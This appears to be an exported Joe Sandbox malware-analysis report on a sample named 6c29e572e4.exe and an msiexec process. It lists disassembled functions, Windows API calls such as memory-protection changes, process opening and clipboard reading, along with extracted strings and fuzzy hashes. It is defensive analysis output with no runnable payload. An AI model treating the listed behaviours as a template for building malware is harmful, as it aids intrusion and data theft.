Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction ID: 8ddd5fabbff8f896c1789604cdece23508a613241911cd031693b99bef8e0766
Opcode Fuzzy Hash: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction Fuzzy Hash: E9E0E5B1909A82C2DA34AF22F8C8369A3B1FB84744FD08131D99E42764DF3CD549CB20

Function 00007FF794682F38 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7946838D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683919
Part of subcall function 00007FF7946838D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF79468392E
Part of subcall function 00007FF7946838D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683941
Part of subcall function 00007FF7946838D0: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683951
Part of subcall function 00007FF7946838D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683979
Part of subcall function 00007FF7946838D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF79468398C
Part of subcall function 00007FF7946838D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF7946839A1

Part of subcall function 00007FF7946810D8: OpenProcess.KERNEL32 ref: 00007FF7946810FC

GetProcessHeap.KERNEL32 ref: 00007FF794682FD3
HeapFree.KERNEL32 ref: 00007FF794682FE6

Strings

chFrWWdQWsLFevUr, xrefs: 00007FF794682F77
.x64, xrefs: 00007FF794682F8A

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: lstrcat$HeapProcess$CreateDirectoryFolderFreeOpenPath
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 3579246950-2286007224
Opcode ID: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction ID: c3614b8b2571da6458d7f7106b70469c04a3b9a0c0c3ce07d0ff0943e814b098
Opcode Fuzzy Hash: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction Fuzzy Hash: D111CBB1A18B82C1E730FF22E8943A6A3A2FB88704F808535D56D82766DF7CD045C760

Analysis Process: 6c29e572e4.exePID: 4592, Parent PID: 5396COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.6%
Total number of Nodes:	116
Total number of Limit Nodes:	15

Executed Functions

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

'D F, xrefs: 0040AAC6
kl, xrefs: 0040AB2D
#xDz, xrefs: 0040AACE
N[\D, xrefs: 0040ACF6, 0040AD01, 0040ADB7, 0040ADEE, 0040ABA4, 0040ABC5, 0040ADC0, 0040ACD2
N[\D, xrefs: 0040AC00
n, xrefs: 0040A982
A|}~, xrefs: 0040AAD6

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: 873e877496f468c046363248420fa7ca63a51e9b47053ced3edd0b31dc018a30
Instruction ID: 966b8f91f76bb20883ed88500b6b89ab0c93423946d56f050922860fedc986fe
Opcode Fuzzy Hash: 873e877496f468c046363248420fa7ca63a51e9b47053ced3edd0b31dc018a30
Instruction Fuzzy Hash: D7C1267260C3504BC714CF6488905AFBBD3ABC2304F1E893DE9D56B382D679991AC78B

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408811
GetCurrentThreadId.KERNEL32 ref: 0040881A
GetForegroundWindow.USER32 ref: 004088CE
ExitProcess.KERNEL32 ref: 0040897B

Strings

YO9W, xrefs: 00408822

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction ID: 5b12a659e8285d1355c3597aa5681aa9478bfa7506ef17589c1493984f4e9e7d
Opcode Fuzzy Hash: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction Fuzzy Hash: 98315977F5061807C31C7AB98C4636AB5874BC4614F0F863E9DD9AB386FDB89C0442D9

Function 00BFF80C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000002,00000000,00000000,00000000,082962C8,?,?,00BFEB2D,?,00000000,?), ref: 00BFF84D
NtProtectVirtualMemory.NTDLL(000000FF,?,00BFEB2D,00000000,00000000,00000000,00000000,082962C8,?,?,00BFEB2D,?,00000000,?), ref: 00BFF94F

Strings

, xrefs: 00BFF8E3

Memory Dump Source

Source File: 00000010.00000002.3365601060.0000000000BFE000.00000040.00000010.00020000.00000000.sdmp, Offset: 00BFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_bfe000_6c29e572e4.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-3916222277
Opcode ID: 7c3c623b9836fa83dbdc5394a12b48ed3865b76677a6f9c3d53535781c8631a1
Instruction ID: 93bdf105a71cdfdc0182a846231f9881cd78c8171ee2b92758448b9d9a001598
Opcode Fuzzy Hash: 7c3c623b9836fa83dbdc5394a12b48ed3865b76677a6f9c3d53535781c8631a1
Instruction Fuzzy Hash: A1410571D0020EEBDB04CF94C985BFEBBF5EF58310F20819AE915AB281D7749A45CB60

Function 00BFF2CC Relevance: 1.7, APIs: 1, Instructions: 162
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000004,00000000,00000000,6793C34C), ref: 00BFF34E

Memory Dump Source

Source File: 00000010.00000002.3365601060.0000000000BFE000.00000040.00000010.00020000.00000000.sdmp, Offset: 00BFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_bfe000_6c29e572e4.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 0bfa60c63f50ef171a0b56c2a5d9744cc2ad877c89f3882ce56d9e2bbd017102
Instruction ID: f031ae0422d7799c8f953be29ba1a401bdc503c8d0943d24731daf38892cc025
Opcode Fuzzy Hash: 0bfa60c63f50ef171a0b56c2a5d9744cc2ad877c89f3882ce56d9e2bbd017102
Instruction Fuzzy Hash: 5F612D75E00119AFDB04DF94C881ABEBBF5EF88314F1081A9EA10AB391D7749A45CB61

Function 0043B480 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00409CC0 Relevance: 1.3, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\U^_, xrefs: 00409CE5

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: 5fa690bb4235e6f9a1b833386d74a381627e7adb8b1be8a89cbf23ee07b36487
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: D011E23060C3808FD324DF3495549ABBBA5EFD7748F545A2CE4C56B281C735980A8FAA

Function 0043B720 Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043B720
GetForegroundWindow.USER32 ref: 0043B740

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction ID: 191facca889f69fa70601903ca8693053aaba1cbaba24685dbffd0b384c421fe
Opcode Fuzzy Hash: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction Fuzzy Hash: 7ED0A7FDD20110EBC604AB71FC4A41B3A1AEB4722DB545539EC0343352DA39782E868F

Function 00439B60 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00412F5C), ref: 00439B80

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction ID: 8d81dc3d2e1c71e2762f942217139477682170591cb2c618f1865e02491f5b7e
Opcode Fuzzy Hash: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction Fuzzy Hash: 76D0C935505126EBCA506B28BC15BC73A989F4A671F0708A1B4006A075C765EC919AD8

Function 00439B40 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00439B50

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction ID: 3d340f236624c1ae318c051adf9ea47d82c8c11c3707c94fc3fa8f772c7fe72e
Opcode Fuzzy Hash: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction Fuzzy Hash: 91C04831145224ABDA10AB15EC09B8A3AA8AF496A1F1A04A6B005660B28760AC929A98

Non-executed Functions

Function 00431BB0 Relevance: 71.9, APIs: 2, Strings: 39, Instructions: 179COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00431BF9
GetSystemMetrics.USER32 ref: 00431C09

Strings

PMD, xrefs: 00431BC1
`ZD, xrefs: 00431D90
PMD, xrefs: 00431FCC
PMD, xrefs: 00431F48
PMD, xrefs: 00431F1C
ZD, xrefs: 00431E4B
PMD, xrefs: 00431FF8
PMD, xrefs: 00431FB6
PMD, xrefs: 00432050
PMD, xrefs: 00431FE2
PMD, xrefs: 00431F8A
PMD, xrefs: 00431F74
PMD, xrefs: 00431F06
xZD, xrefs: 00431DB1
PMD, xrefs: 0043200E
8[D, xrefs: 00431EB9
PMD, xrefs: 0043203A
PMD, xrefs: 00431F5E
ZD, xrefs: 00431E40
PZD, xrefs: 00431D7A
0[D, xrefs: 00431EAE
([D, xrefs: 00431EA3
[D, xrefs: 00431E98
PMD, xrefs: 00432066
H[D, xrefs: 00431ECF
PMD, xrefs: 00431FA0
HZD, xrefs: 00431D6F
PMD, xrefs: 00431D59
X[D, xrefs: 00431EE5
, xrefs: 00431CF6
PMD, xrefs: 0043207C
P[D, xrefs: 00431EDA
pZD, xrefs: 00431DA6
PMD, xrefs: 00431EF0
@[D, xrefs: 00431EC4
hZD, xrefs: 00431D9B
XZD, xrefs: 00431D85
PMD, xrefs: 00432024
PMD, xrefs: 00431F32

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: MetricsSystem
String ID: $ [D$([D$0[D$8[D$@[D$HZD$H[D$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PZD$P[D$XZD$X[D$`ZD$hZD$pZD$xZD$ZD$ZD
API String ID: 4116985748-735401729
Opcode ID: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction ID: ea45c71986b2e534ecec44a4126f62931ddcc8577b73b097e58ed3aa899a90b6
Opcode Fuzzy Hash: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction Fuzzy Hash: 41B16FB04097818FE771DF14D48879BBBE0BBC5308F508A2EE5E89B251CBB95448CF86

Function 00425920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

z%|, xrefs: 004259BF
cba`, xrefs: 00425E6C
3v#H, xrefs: 004259D7
"r,t, xrefs: 004259CF
^P, xrefs: 00425A07
<b"d, xrefs: 004259AF
=j9l, xrefs: 0042599F
Z\, xrefs: 004259FF
cba`, xrefs: 00425C50
&f?x, xrefs: 004259B7

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction ID: 146473404e5499b4986dffa8d26f26e1c07bf5215faae6f3d7194190b628d0b4
Opcode Fuzzy Hash: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction Fuzzy Hash: C2D124B9608380DFE324DF15E88176BB7E1FBD5304F94982DE58587261D738D901CB4A

Function 004233A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

KM, xrefs: 004237FB
]~"p, xrefs: 0042367F
#R,T, xrefs: 00423647
$^<P, xrefs: 0042363F
VW, xrefs: 004233E5
ij, xrefs: 0042397D

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: #R,T$$^<P$VW$]~"p$ij$KM
API String ID: 0-788320361
Opcode ID: 0ef6ac19612ecc2b18e822a80ca420e4bb8027dd0eadc437e0bac95af6737912
Instruction ID: 9ed236048ece28067beed024fb633757567cd4a7e3bca11c75bb2a7735f0e68b
Opcode Fuzzy Hash: 0ef6ac19612ecc2b18e822a80ca420e4bb8027dd0eadc437e0bac95af6737912
Instruction Fuzzy Hash: D1F1CAB46083509FD310DF65E88262BBBF1EFD5304F44892DE4958B351EB789A06CB4B

Function 00431A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431A40
GetWindowLongW.USER32 ref: 00431A65
GetClipboardData.USER32 ref: 00431A75
GlobalLock.KERNEL32 ref: 00431A8E
GlobalUnlock.KERNEL32 ref: 00431B90
CloseClipboard.USER32 ref: 00431B99

Strings

K, xrefs: 00431B1E

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction ID: 513562b2ac7e6d1d4712994eff6d7c1bc04b9d90a7c3137532ed1f51a9abc6ba
Opcode Fuzzy Hash: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction Fuzzy Hash: 34418E6150C7818ED310AF7C988826FBFE09B96224F044A6EE8E5872D2E6389549C797

Function 004296D8 Relevance: 9.1, Strings: 7, Instructions: 340COMMON

Download Yara Rule

Strings

cba`, xrefs: 0042974C
='0{, xrefs: 004299DE
;>*2, xrefs: 004299CE
fa, xrefs: 004299F6
);?g, xrefs: 004299EE
[93=, xrefs: 004299E6
9nI9, xrefs: 004299D6

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: );?g$9nI9$;>*2$='0{$[93=$cba`$fa
API String ID: 0-154584671
Opcode ID: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction ID: 21be1e4f2e6752f9380b4aadbcf4cd787e7e0f4b09ea5b297d7e9ef9a1fb0c4b
Opcode Fuzzy Hash: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction Fuzzy Hash: 3FC1077560C3A08FC3118F29D89066BBBE2AF96310F588A6DF4E1573D2C7398D45CB5A

Function 00419C10 Relevance: 8.8, Strings: 6, Instructions: 1297COMMON

Download Yara Rule

Strings

wEtG, xrefs: 00419F94
cba`, xrefs: 00419C63
I,~M, xrefs: 0041AA47
cba`, xrefs: 0041A13D
PQ, xrefs: 00419FAC
cba`, xrefs: 0041AA31

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG
API String ID: 2994545307-3803835663
Opcode ID: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction ID: ce701afe96e54189f6fff091c8333c98f5ae15aa60c98f01a083bef101dadeb2
Opcode Fuzzy Hash: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction Fuzzy Hash: C59235746093409FE714CF65D891B6BBBE2EBD5300F28882EE58487391D7799C81CB9B

Function 0042D085 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

AGsW, xrefs: 0042D496
#, xrefs: 0042D4AC
0, xrefs: 0042D430
P, xrefs: 0042D554
k, xrefs: 0042D4B6

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 8816b6b3b95a3b8c405e0a0f8c285763547ceed8af8c8b555c70c7a9f783aa76
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: 1CC1F4317183918ED328CF39D4513ABBBD2AFD2304F68866ED4D58B2D1D6798449C71B

Function 0040CE55 Relevance: 6.5, Strings: 5, Instructions: 275COMMON

Download Yara Rule

Strings

z@(, xrefs: 0040CF5B
I@, xrefs: 0040D0C4
N~ :, xrefs: 0040CF45
F^, xrefs: 0040D0B9
VgfW, xrefs: 0040CF2F

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: F^$I@$N~ :$VgfW$z@(
API String ID: 0-3506082874
Opcode ID: 01845d3766adc81aa739c5ea8dbca92eb081da4d73060a58daa09bb76f621cb6
Instruction ID: b1d760c26d9b90ec4573806c6615211f8657e28aa76e89aec63d6860f5017e85
Opcode Fuzzy Hash: 01845d3766adc81aa739c5ea8dbca92eb081da4d73060a58daa09bb76f621cb6
